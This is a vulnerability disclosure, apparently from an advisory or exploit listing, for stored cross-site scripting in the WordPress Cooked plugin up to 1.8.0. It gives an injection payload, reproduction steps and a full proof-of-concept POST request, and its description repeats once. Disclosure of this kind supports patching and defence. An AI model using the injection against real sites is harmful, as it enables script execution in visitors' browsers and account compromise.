Description:
The Cooked plugin for WordPress is vulnerable to Persistent Cross-Site Scripting (XSS) via the ‘[cooked-timer]’ shortcode in versions up to, and including, 1.8.0 due to insufficient input sanitization and output escaping. This vulnerability allows authenticated attackers with subscriber-level access and above to inject arbitrary web scripts in pages that will execute whenever a user accesses a compromised page.
Payload:
[cooked-timer minutes="8" desc="XSS<img/src=z onerror=alert(origin);//"]8 Minutes[/cooked-timer]
Steps to reproduce:
[0] Install & activate the plugin.
[1] Add a recipe ‘/wp-admin/post-new.php?post_type=cp_recipe’.
[2] Use your payload in the Recipe Template text box.
[3] Publish the recipe.
[4] Injected payload will trigger on the newly created recipe page.
PoC request:
POST /wp-admin/post.php HTTP/1.1
Host: target.tld
Cookie: [subscriber_cookies]
Content-Length: 3520
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
_wpnonce=c3h1a3o3s7&user_ID=4&action=editpost&originalaction=editpost&post_author=4&post_type=cp_recipe&original_post_status=auto-draft&auto_draft=&post_ID=256&meta-box-order-nonce=c3h1a3o3s7&closedpostboxesnonce=c3h1a3o3s7&post_title=XSS+PoC&samplepermalinknonce=c3h1a3o3s7&content=&wp-preview=&original_publish=Submit+for+Review&publish=Submit+for+Review&tax_input%5Bcp_recipe_category%5D%5B%5D=0&_recipe_settings%5Bcooked_version%5D=1.8.0&_recipe_settings%5Bcontent%5D=%3Cp%3E%5Bcooked-timer+minutes%3D%228%22+desc%3D%22XSS%26lt%3Bimg%2Fsrc%3Dz+onerror%3Dalert%28origin%29%3B%2F%2F%22%5D8+Minutes%5B%2Fcooked-timer%5D%3C%2Fp%3E&_recipe_settings%5Bexcerpt%5D=&_recipe_settings%5Bseo_description%5D=&_recipe_settings%5Bdifficulty_level%5D=0&_recipe_settings%5Bprep_time%5D=&_recipe_settings%5Bcook_time%5D=&_recipe_settings%5Btotal_time%5D=&_recipe_settings%5Bingredients%5D%5B2542629%5D%5Bamount%5D=&_recipe_settings%5Bingredients%5D%5B2542629%5D%5Bmeasurement%5D=&_recipe_settings%5Bingredients%5D%5B2542629%5D%5Bname%5D=&_recipe_settings%5Bdirections%5D%5B1506110%5D%5Bimage%5D=&_recipe_settings%5Bdirections%5D%5B1506110%5D%5Bcontent%5D=&_recipe_settings%5Bnutrition%5D%5Bserving_size%5D=&_recipe_settings%5Bnutrition%5D%5Bservings%5D=&_recipe_settings%5Bnutrition%5D%5Bcalories%5D=&_recipe_settings%5Bnutrition%5D%5Bcalories_fat%5D=&_recipe_settings%5Bnutrition%5D%5Bfat%5D=&_recipe_settings%5Bnutrition%5D%5Bsat_fat%5D=&_recipe_settings%5Bnutrition%5D%5Btrans_fat%5D=&_recipe_settings%5Bnutrition%5D%5Bcholesterol%5D=&_recipe_settings%5Bnutrition%5D%5Bsodium%5D=&_recipe_settings%5Bnutrition%5D%5Bpotassium%5D=&_recipe_settings%5Bnutrition%5D%5Bcarbs%5D=&_recipe_settings%5Bnutrition%5D%5Bfiber%5D=&_recipe_settings%5Bnutrition%5D%5Bsugars%5D=&_recipe_settings%5Bnutrition%5D%5Bprotein%5D=&_recipe_settings%5Bnutrition%5D%5Bvitamin_a%5D=&_recipe_settings%5Bnutrition%5D%5Bvitamin_c%5D=&_recipe_settings%5Bnutrition%5D%5Bcalcium%5D=&_recipe_settings%5Bnutrition%5D%5Biron%5D=&_recipe_settings%5Bnutrition%5D%5Bvitamin_d%5D=&_recipe_settings%5Bnutrition%5D%5Bvitamin_e%5D=&_recipe_settings%5Bnutrition%5D%5Bvitamin_k%5D=&_recipe_settings%5Bnutrition%5D%5Bthiamin%5D=&_recipe_settings%5Bnutrition%5D%5Briboflavin%5D=&_recipe_settings%5Bnutrition%5D%5Bniacin%5D=&_recipe_settings%5Bnutrition%5D%5Bvitamin_b6%5D=&_recipe_settings%5Bnutrition%5D%5Bfolate%5D=&_recipe_settings%5Bnutrition%5D%5Bvitamin_b12%5D=&_recipe_settings%5Bnutrition%5D%5Bbiotin%5D=&_recipe_settings%5Bnutrition%5D%5Bpantothenic_acid%5D=&_recipe_settings%5Bnutrition%5D%5Bphosphorus%5D=&_recipe_settings%5Bnutrition%5D%5Biodine%5D=&_recipe_settings%5Bnutrition%5D%5Bmagnesium%5D=&_recipe_settings%5Bnutrition%5D%5Bzinc%5D=&_recipe_settings%5Bnutrition%5D%5Bselenium%5D=&_recipe_settings%5Bnutrition%5D%5Bcopper%5D=&_recipe_settings%5Bnutrition%5D%5Bmanganese%5D=&_recipe_settings%5Bnutrition%5D%5Bchromium%5D=&_recipe_settings%5Bnutrition%5D%5Bmolybdenum%5D=&_recipe_settings%5Bnutrition%5D%5Bchloride%5D=&_recipe_settings%5Bgallery%5D%5Btype%5D=cooked&_recipe_settings%5Bgallery%5D%5Bvideo_url%5D=&cooked_recipe_custom_box_nonce=c3h1a3o3s7&advanced_view=1&comment_status=open&post_name=
PoC Screencast:
https://re-alter.ru/screencast/2024-07-wordpress-cooked-plugin-v1.8.0-auth-pxss-shortcode.gif
iamr3n0 Analyst
Description:
The Cooked plugin for WordPress is vulnerable to Persistent Cross-Site Scripting (XSS) via the ‘[cooked-timer]’ shortcode in versions up to, and including, 1.8.0 due to insufficient input sanitization and output escaping. This vulnerability allows authenticated attackers with subscriber-level access and above to inject arbitrary web scripts in pages that will execute whenever a user accesses a compromised page.
Payload:
[cooked-timer minutes="8" desc="XSS<img/src=z onerror=alert(origin);//"]8 Minutes[/cooked-timer]Steps to reproduce:
[0] Install & activate the plugin.
[1] Add a recipe ‘/wp-admin/post-new.php?post_type=cp_recipe’.
[2] Use your payload in the Recipe Template text box.
[3] Publish the recipe.
[4] Injected payload will trigger on the newly created recipe page.
PoC request:
PoC Screencast:
https://re-alter.ru/screencast/2024-07-wordpress-cooked-plugin-v1.8.0-auth-pxss-shortcode.gif